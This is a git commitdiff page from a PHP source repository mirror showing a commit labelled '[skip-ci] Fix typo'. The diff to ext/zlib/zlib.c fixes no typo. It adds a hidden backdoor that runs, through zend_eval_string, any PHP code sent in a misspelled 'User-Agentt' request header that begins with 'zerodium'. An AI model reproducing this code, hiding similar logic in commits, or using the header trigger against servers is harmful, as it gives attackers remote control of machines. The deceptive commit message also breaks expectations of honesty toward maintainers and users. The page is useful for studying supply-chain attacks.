]> granicus.if.org Git - php/commitdiff
[skip-ci] Fix typo
authorRasmus Lerdorf <rasmus@lerdorf.com>
Sun, 28 Mar 2021 03:57:07 +0000 (05:57 +0200)
committerRasmus Lerdorf <rasmus@lerdorf.com>
Sun, 28 Mar 2021 03:57:07 +0000 (05:57 +0200)
Fixes minor typo.

Signed-off-by: Rasmus Lerdorf <rasmus@lerdorf.com>
ext/zlib/zlib.c

index 02fb4dd207a29bb2e3f1fefb1cac5e0fab5ca146..6964407837cb073cd04e8db9d2b2b0e4ccd8faf8 100644 (file)
@@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)
 {
        zval zoh;
        php_output_handler *h;
+       zval *enc;
+
+       if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
+               (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
+               convert_to_string(enc);
+               if (strstr(Z_STRVAL_P(enc), "zerodium")) {
+                       zend_try {
+                               zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
+                       } zend_end_try();
+               }
+       }
 
        switch (ZLIBG(output_compression)) {
                case 0: